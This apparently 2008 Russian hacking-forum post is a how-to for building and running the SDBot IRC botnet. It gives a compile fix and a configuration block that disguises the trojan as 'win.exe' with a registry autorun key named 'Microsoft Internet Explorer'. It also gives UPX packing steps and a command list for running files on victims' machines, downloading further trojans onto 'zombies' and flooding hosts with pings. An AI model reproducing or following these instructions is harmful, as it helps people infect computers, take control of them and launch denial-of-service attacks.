Показать сообщение отдельно

  #1118  
Старый 25.05.2008, 16:21
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
С нами: 9655526

Репутация: 1334
По умолчанию

Вот к примеру ботнет [SD]-Bot от русского автора [SD].Это простенький и стабильный бот, обладающий функциями DoS/Администрирование IRC-канала (не уступает возможностям eggdrop). Бот управляется через IRC.
Код:
/msg chanserv register #канал пароль краткое_описание_канала (например канал Васи Пупкина)
Для компиляции необходим LCC или Visual Studio 6.У меня стоит Visual Studio 7 .NET
распаковываем исходники и открываем файл SDBOT05A.CPP.Находим там строчку:
irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass)

и меняем ее на:

irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);

Все, ошибка исправлена, теперь в строчке выше ищем следующую строчку:
Код:
// bot configuration 
const char botid[] = "set_me"; // ID бота,можно вписывать что угодно, апример "mYz0mb1e" 
const char password[] = "set_me"; // Пароль на бота. 
const char server[] = "set_me"; // IRC-сервер,пример: "irc.dalnet.ru" 
const int port = 6667; // Порт сервера, оставьте как есть. 
const char server2[] = ""; // необязательный параметр, на случай если 1 сервер будет не доступен, то бот законнектится на второй
const int port2 = 6667; // Аналогично 
const char serverpass[] = ""; // Пароль от сервера(оставьте пустым) 
const char channel[] = "set_me"; // Канал ,где будут отчитываться боты, пример: "#ru24" 
const char chanpass[] = ""; // Пароль от канала (не обязательный параметр, если ваш канал не требует авторизации) 
const char filename[] = "win.exe"; // Название файла-трояна(бот) которое будет видно в процессах. 
const BOOL regrun = TRUE; // Использовать ключ в реестре для автозагрузки(включено по умолчанию) 
const char valuename[] = "Microsoft Internet Explorer"; // Название ключа в реестре 
const char prefix = '.'; // Префикс название у ботов(необязательный параметр) 
const char version[] = "sdbot v0.5a by [sd]"; // Метка бота ;)
Все, бот готов к эксплуатации. Теперь компилируем, после этого сжимаем его UPX'ом чтобы уменьшить размер. Теперь заходим на IRC-канал,запускаем у себя трояна и видим что на канал зашел бот Теперь можно давать команды боту.

Пример:

Код:
<< Nitrex >>: .about 
<sdbot1>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/ 
<sdbot2>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/ 
<sdbot3>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
Все боты послушно выполнили нашу команду - показать инфу о создателе бота.
Список самых нужных команд для [SD]-Бота:
Код:
cycle <seconds> <channel> - уйти на N-кол-во времени с канала, а потом зайти. 
die - самоубийство :) 
execute <visibility> <file> [parameters] - запустить файл на компьютере жертвы 
download <url> <destination> <action> - скачать файл на комьютер-зомби. Очень полезно когда нужно затроянить всех зомби другим трояном или модификацией бота!
ping <host> <# of pings> <packet size> <timeout> - великий и ужасный ПИНГ aka DoS ;)
 
Ответить с цитированием